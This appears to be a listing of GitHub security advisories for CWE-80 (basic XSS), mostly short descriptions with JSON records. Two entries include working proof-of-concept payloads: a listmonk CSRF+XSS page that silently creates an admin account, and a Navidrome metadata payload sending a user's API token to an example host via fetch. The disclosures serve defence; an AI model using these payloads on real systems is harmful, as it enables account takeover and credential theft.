CWE-80
AllowedImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
936 vulnerabilities reference this CWE, most recent first.
GHSA-RCVM-46JW-HVJR
Vulnerability from github – Published: 2025-11-06 18:32 – Updated: 2026-01-20 15:31Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in RealMag777 TableOn posts-table-filterable allows Code Injection.This issue affects TableOn: from n/a through <= 1.0.4.2.
{
"affected": [],
"aliases": [
"CVE-2025-60244"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T16:16:07Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in RealMag777 TableOn posts-table-filterable allows Code Injection.This issue affects TableOn: from n/a through \u003c= 1.0.4.2.",
"id": "GHSA-rcvm-46jw-hvjr",
"modified": "2026-01-20T15:31:50Z",
"published": "2025-11-06T18:32:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60244"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/posts-table-filterable/vulnerability/wordpress-tableon-plugin-1-0-4-2-content-injection-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/posts-table-filterable/vulnerability/wordpress-tableon-plugin-1-0-4-2-content-injection-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/posts-table-filterable/vulnerability/wordpress-tableon-plugin-1-0-4-2-content-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RF24-WG77-GQ7W
Vulnerability from github – Published: 2025-09-09 20:42 – Updated: 2025-09-10 21:08Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Details
During a security evaluation of the webapp, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly.
This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce :
PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.
An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ) making it possible to execute javascript code. For example:
And this request can also be made without nonce.
Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).
This is possible for 2 reasons :
1) There is no validation of the nonce (as mentioned above)
2) The session cookie has no samesite flag
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge).
For example, we can host this html page to prompt the admin to make a post request
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions) - Chrome ❌ - Firefox ✅ - Edge ✅
Example in Firefox :
We can now replace the simple alert() with any “harmful” request. For example, the creation of a new admin account:
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
The final poc that exploits CSRF + XSS, allowing admin account creation:
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
Admin account creation
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/knadh/listmonk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58430"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-09T20:42:32Z",
"nvd_published_at": "2025-09-09T20:15:48Z",
"severity": "HIGH"
},
"details": "### Summary\n\nCross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they\u2019re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker\u2019s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.\n\n\n### Details\n\nDuring a security evaluation of the webapp, every http request in addition to the session cookie `session` there included `nonce`. The value is not checked and validated by the backend, removing `nonce` allows the requests to be processed correctly.\n\nThis may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.\n\nExample HTTP request without nonce : \n\u003cimg width=\"1418\" height=\"772\" alt=\"user_creation_without_nonce_burp_request\" src=\"https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32\" /\u003e\n\n\n\n### PoC\n\nLet\u0027s look at a \u201cchain\u201d case of vulnerabilities that include the CSRF and XSS.\n\nAn admin (or any user with permissions) can create templates and preview them (`POST /api/templates/preview` ) making it possible to execute javascript code. For example:\n\n\u003cimg width=\"1912\" height=\"935\" alt=\"browser_template_editor_with_alert\" src=\"https://github.com/user-attachments/assets/a928a4bd-1e5f-4fbe-af08-196362e271ad\" /\u003e\n\nAnd this request can also be made without `nonce`.\n\n\u003cimg width=\"1883\" height=\"707\" alt=\"template_preview_burp_request_without_nonce\" src=\"https://github.com/user-attachments/assets/202c6a39-b62f-48c1-becb-688c3325dc41\" /\u003e\n\nThen an attacker can exploit this lack of validation to trigger an XSS in the victim\u0027s browser (let\u0027s assume the admin).\n\nThis is possible for 2 reasons :\n 1) There is no validation of the `nonce` (as mentioned above)\n 2) The `session` cookie has no samesite flag\n\n\u003cimg width=\"1557\" height=\"593\" alt=\"no_same_site_response_cookie_burp\" src=\"https://github.com/user-attachments/assets/c3fab6ac-5068-44cd-850a-bd095c10cb77\" /\u003e\n\nAs we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.\nSome browsers by default set `Lax` (Chrome), but many others use `None` (Firefox, Edge).\n\nFor example, we can host this html page to prompt the admin to make a post request\n\n```html\n\u003chtml\u003e\n \u003c!-- CSRF PoC --\u003e\n \u003cbody\u003e\n \u003cform action=\"https://10.100.132.47/api/templates/preview\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"template\u0026#95;type\" value=\"campaign\" /\u003e\n \u003cinput type=\"hidden\" name=\"body\" value=\"\u0026#123;\u0026#123;\u0026#32;template\u0026#32;\u0026quot;content\u0026quot;\u0026#32;\u0026#46;\u0026#32;\u0026#125;\u0026#125;\u0026#13;\u0026#10;\u0026#13;\u0026#10;\u0026lt;script\u0026gt;alert\u0026#40;\u0026#41;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003cscript\u003e\n document.forms[0].submit();\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n\n\nThe CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions)\n- Chrome \u274c\n- Firefox \u2705\n- Edge \u2705\n\nExample in Firefox : \n\n\n\nWe can now replace the simple `alert()` with any \u201charmful\u201d request. For example, the creation of a new admin account:\n\u003cimg width=\"1226\" height=\"925\" alt=\"browser_template_editor_with_final_payload\" src=\"https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a\" /\u003e\n\n```html\n \u003cscript\u003e\n function submitRequest()\n {\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", \"https:\\/\\/10.100.132.47\\/api\\/users\", true);\n xhr.setRequestHeader(\"Content-Type\", \"application\\/json\");\n xhr.withCredentials = true;\n var body = \"{\\\"username\\\":\\\"testuser4\\\",\\\"email\\\":\\\"test3@test.com\\\",\\\"name\\\":\\\"testuser4\\\",\\\"password\\\":\\\"Test12345\\\",\\\"passwordLogin\\\":true,\\\"type\\\":\\\"user\\\",\\\"status\\\":\\\"enabled\\\",\\\"listRoleId\\\":\\\"\\\",\\\"userRoleId\\\":1,\\\"password2\\\":\\\"Test12345\\\",\\\"password_login\\\":true,\\\"user_role_id\\\":1,\\\"list_role_id\\\":null}\";\n var aBody = new Uint8Array(body.length);\n for (var i = 0; i \u003c aBody.length; i++)\n aBody[i] = body.charCodeAt(i); \n xhr.send(new Blob([aBody]));\n }\n submitRequest();\n \u003c/script\u003e\n```\n\nThe final poc that exploits CSRF + XSS, allowing admin account creation:\n\n```html\n\n\u003chtml\u003e\n \u003c!-- CSRF PoC --\u003e\n \u003cbody\u003e\n \u003cform action=\"https://10.100.132.47/api/templates/preview\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"template\u0026#95;type\" value=\"campaign\" /\u003e\n \u003cinput type=\"hidden\" name=\"body\" value=\"\u0026#123;\u0026#123;\u0026#32;template\u0026#32;\u0026quot;content\u0026quot;\u0026#32;\u0026#46;\u0026#32;\u0026#125;\u0026#125;\u0026#13;\u0026#10;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026lt;script\u0026gt;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;function\u0026#32;submitRequest\u0026#40;\u0026#41;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#123;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;var\u0026#32;xhr\u0026#32;\u0026#61;\u0026#32;new\u0026#32;XMLHttpRequest\u0026#40;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;open\u0026#40;\u0026quot;POST\u0026quot;\u0026#44;\u0026#32;\u0026quot;https\u0026#58;\u0026#92;\u0026#47;\u0026#92;\u0026#47;10\u0026#46;100\u0026#46;132\u0026#46;47\u0026#92;\u0026#47;api\u0026#92;\u0026#47;users\u0026quot;\u0026#44;\u0026#32;true\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;setRequestHeader\u0026#40;\u0026quot;Content\u0026#45;Type\u0026quot;\u0026#44;\u0026#32;\u0026quot;application\u0026#92;\u0026#47;json\u0026quot;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;withCredentials\u0026#32;\u0026#61;\u0026#32;true\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;var\u0026#32;body\u0026#32;\u0026#61;\u0026#32;\u0026quot;\u0026#123;\u0026#92;\u0026quot;username\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;testuser4\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;email\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;test3\u0026#64;test\u0026#46;com\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;name\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;testuser4\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;password\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;Test12345\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;passwordLogin\u0026#92;\u0026quot;\u0026#58;true\u0026#44;\u0026#92;\u0026quot;type\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;user\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;status\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;enabled\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;listRoleId\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;userRoleId\u0026#92;\u0026quot;\u0026#58;1\u0026#44;\u0026#92;\u0026quot;password2\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;Test12345\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;password\u0026#95;login\u0026#92;\u0026quot;\u0026#58;true\u0026#44;\u0026#92;\u0026quot;user\u0026#95;role\u0026#95;id\u0026#92;\u0026quot;\u0026#58;1\u0026#44;\u0026#92;\u0026quot;list\u0026#95;role\u0026#95;id\u0026#92;\u0026quot;\u0026#58;null\u0026#125;\u0026quot;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;var\u0026#32;aBody\u0026#32;\u0026#61;\u0026#32;new\u0026#32;Uint8Array\u0026#40;body\u0026#46;length\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;for\u0026#32;\u0026#40;var\u0026#32;i\u0026#32;\u0026#61;\u0026#32;0\u0026#59;\u0026#32;i\u0026#32;\u0026lt;\u0026#32;aBody\u0026#46;length\u0026#59;\u0026#32;i\u0026#43;\u0026#43;\u0026#41;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;aBody\u0026#91;i\u0026#93;\u0026#32;\u0026#61;\u0026#32;body\u0026#46;charCodeAt\u0026#40;i\u0026#41;\u0026#59;\u0026#32;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;send\u0026#40;new\u0026#32;Blob\u0026#40;\u0026#91;aBody\u0026#93;\u0026#41;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#125;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;submitRequest\u0026#40;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003cscript\u003e\n document.forms[0].submit();\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n### Impact\nAdmin account creation",
"id": "GHSA-rf24-wg77-gq7w",
"modified": "2025-09-10T21:08:05Z",
"published": "2025-09-09T20:42:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/knadh/listmonk/security/advisories/GHSA-rf24-wg77-gq7w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58430"
},
{
"type": "PACKAGE",
"url": "https://github.com/knadh/listmonk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "listmonk: CSRF to XSS Chain can Lead to Admin Account Takeover"
}
GHSA-RH25-HJ2F-7R49
Vulnerability from github – Published: 2025-08-20 12:31 – Updated: 2025-08-20 12:31In JetBrains IntelliJ IDEA before 2025.2 hTML injection was possible via Remote Development feature
{
"affected": [],
"aliases": [
"CVE-2025-57730"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T10:15:30Z",
"severity": "MODERATE"
},
"details": "In JetBrains IntelliJ IDEA before 2025.2 hTML injection was possible via Remote Development feature",
"id": "GHSA-rh25-hj2f-7r49",
"modified": "2025-08-20T12:31:15Z",
"published": "2025-08-20T12:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57730"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RH3R-8PXM-HG4W
Vulnerability from github – Published: 2026-02-04 00:12 – Updated: 2026-02-05 00:37Summary
An XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials.
An attacker's maliciously crafted song has to be added to Navidrome to exploit the vulnerability.
Details
The frontend is using React. In various places, the code uses the dangerouslySetInnerHTML escape hatch to set the content of an HTML element.
In some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability.
In MultiLineTextField component, the input is split into lines and rendered through the dangerouslySetInnerHTML property.
<div
data-testid={`${source}.${idx}`}
key={md5(line + idx)}
dangerouslySetInnerHTML={{ __html: line }}
/>
This component is then used in the SongInfo and AlbumInfo components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS COMMENT comment of a FLAC file.
By crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info.
Additionally, as the Navidrome API token is kept in local storage and since there's no CSP in place unless the user's configured one outside of Navidrome, the attacker can exfiltrate the API token.
PoC
- Modify the comment field of a song to contain the following payload using a tool like MusicBrain'z Picard:
<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />
or use metaflac:
echo '<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />' | metaflac --set-tag=comment=<(cat) file.flac
- Add the song to Navidrome
- Enter the "Songs" or one of the albums page, click the "kebab menu" and then "Get Info"
In this payload, a broken image can be seen in the info dialog.
In the developer tools' network inspector, the request exfiltrating the token to an example domain can be seen.
Impact
The vulnerability affects users of the Navidrome UI with songs from untrusted sources.
Mitigations
- Users of Navidrome should configure a strict [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) in their reverse-proxy to make exfiltration more difficult
- Users of Navidrome should not index songs from untrusted sources without first vetting their metadata
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/navidrome/navidrome"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.60.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25578"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-04T00:12:20Z",
"nvd_published_at": "2026-02-04T22:16:01Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials.\n\nAn attacker\u0027s maliciously crafted song has to be added to Navidrome to exploit the vulnerability.\n\n### Details\n\nThe frontend is using React. In various places, the code uses the `dangerouslySetInnerHTML` escape hatch to set the content of an HTML element.\n\nIn some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability.\n\nIn `MultiLineTextField` component, the input is split into lines and rendered through the `dangerouslySetInnerHTML` property. \n\n```js\n\u003cdiv\n data-testid={`${source}.${idx}`}\n key={md5(line + idx)}\n dangerouslySetInnerHTML={{ __html: line }}\n/\u003e\n```\n\nThis component is then used in the `SongInfo` and `AlbumInfo` components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS `COMMENT` comment of a FLAC file.\n\nBy crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info.\n\nAdditionally, as the Navidrome API token is kept in local storage and since there\u0027s no CSP in place unless the user\u0027s configured one outside of Navidrome, the attacker can exfiltrate the API token.\n\n### PoC\n\n1. Modify the comment field of a song to contain the following payload using a tool like MusicBrain\u0027z Picard:\n\n```js\n\u003cimg src=x onerror=\"fetch(`https://example.com/c2c/${localStorage.getItem(\u0027token\u0027)}`)\" /\u003e\n```\n\nor use `metaflac`:\n\n```shell\necho \u0027\u003cimg src=x onerror=\"fetch(`https://example.com/c2c/${localStorage.getItem(\u0027token\u0027)}`)\" /\u003e\u0027 | metaflac --set-tag=comment=\u003c(cat) file.flac\n```\n\n2. Add the song to Navidrome\n3. Enter the \"Songs\" or one of the albums page, click the \"kebab menu\" and then \"Get Info\"\n\nIn this payload, a broken image can be seen in the info dialog.\n\n\u003cimg width=\"996\" height=\"660\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1467cdff-17b2-4dc6-9fb5-0a83c021ca04\" /\u003e\n\nIn the developer tools\u0027 network inspector, the request exfiltrating the token to an example domain can be seen.\n\n\u003cimg width=\"410\" height=\"34\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3f668797-63a6-4355-ae57-e95bde444143\" /\u003e\n\n\n### Impact\n\nThe vulnerability affects users of the Navidrome UI with songs from untrusted sources.\n\n### Mitigations\n\n- Users of Navidrome should configure a strict [[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) in their reverse-proxy to make exfiltration more difficult\n- Users of Navidrome should not index songs from untrusted sources without first vetting their metadata",
"id": "GHSA-rh3r-8pxm-hg4w",
"modified": "2026-02-05T00:37:01Z",
"published": "2026-02-04T00:12:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/navidrome/navidrome/security/advisories/GHSA-rh3r-8pxm-hg4w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25578"
},
{
"type": "WEB",
"url": "https://github.com/navidrome/navidrome/commit/d7ec7355c9036d5be659d6ac555c334bb5848ba6"
},
{
"type": "PACKAGE",
"url": "https://github.com/navidrome/navidrome"
},
{
"type": "WEB",
"url": "https://github.com/navidrome/navidrome/releases/tag/v0.60.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Navidrome has XSS via comment from song metadata"
}
GHSA-RH9M-3JJG-79RV
Vulnerability from github – Published: 2025-12-26 15:30 – Updated: 2025-12-26 15:30IBM Aspera Faspex 5 5.0.0 through 5.0.14.1 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.
{
"affected": [],
"aliases": [
"CVE-2025-36230"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-26T15:15:46Z",
"severity": "MODERATE"
},
"details": "IBM Aspera Faspex 5 5.0.0 through 5.0.14.1 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim\u0027s Web browser within the security context of the hosting site.",
"id": "GHSA-rh9m-3jjg-79rv",
"modified": "2025-12-26T15:30:17Z",
"published": "2025-12-26T15:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36230"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7255331"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJH9-46C2-6H7F
Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2024-02-01 18:31There is an HTML injection vulnerability in Esri Portal for ArcGIS versions 11.0 and below that may allow a remote, authenticated attacker to create a crafted link which when clicked could render arbitrary HTML in the victim’s browser (no stateful change made or customer data rendered).
{
"affected": [],
"aliases": [
"CVE-2023-25833"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-10T02:15:08Z",
"severity": "MODERATE"
},
"details": "There is an HTML injection vulnerability in Esri Portal for ArcGIS versions 11.0 and below that may allow a remote, authenticated attacker to create a crafted link which when clicked could render arbitrary HTML in the victim\u2019s browser (no stateful change made or customer data rendered).",
"id": "GHSA-rjh9-46c2-6h7f",
"modified": "2024-02-01T18:31:06Z",
"published": "2023-07-06T21:14:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25833"
},
{
"type": "WEB",
"url": "https://support.esri.com/en-us/patches-updates/2023/portal-for-arcgis-security-2023-update-1-patch-8095"
},
{
"type": "WEB",
"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2023-update-1-patch-is-now-available"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RM6J-M6W6-Q2Q3
Vulnerability from github – Published: 2022-11-03 12:00 – Updated: 2023-01-26 21:30A vulnerability, which was classified as problematic, was found in Webmin. Affected is an unknown function of the file xterm/index.cgi. The manipulation leads to basic cross site scripting. It is possible to launch the attack remotely. The name of the patch is d3d33af3c0c3fd3a889c84e287a038b7a457d811. It is recommended to apply a patch to fix this issue. VDB-212862 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-3844"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-79",
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-02T20:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, was found in Webmin. Affected is an unknown function of the file xterm/index.cgi. The manipulation leads to basic cross site scripting. It is possible to launch the attack remotely. The name of the patch is d3d33af3c0c3fd3a889c84e287a038b7a457d811. It is recommended to apply a patch to fix this issue. VDB-212862 is the identifier assigned to this vulnerability.",
"id": "GHSA-rm6j-m6w6-q2q3",
"modified": "2023-01-26T21:30:23Z",
"published": "2022-11-03T12:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3844"
},
{
"type": "WEB",
"url": "https://github.com/webmin/webmin/commit/d3d33af3c0c3fd3a889c84e287a038b7a457d811"
},
{
"type": "WEB",
"url": "https://github.com/webmin/webmin/releases/tag/2.003"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.212862"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.212862"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RP64-RC76-XRQ5
Vulnerability from github – Published: 2025-02-28 15:31 – Updated: 2025-02-28 15:31It is possible to inject HTML code into the page content using the "content" field in the "Application definition" page.
This issue affects CyberArk Endpoint Privilege Manager in SaaS version 24.7.1. The status of other versions is unknown. After multiple attempts to contact the vendor we did not receive any answer.
{
"affected": [],
"aliases": [
"CVE-2025-22274"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-28T13:15:28Z",
"severity": "LOW"
},
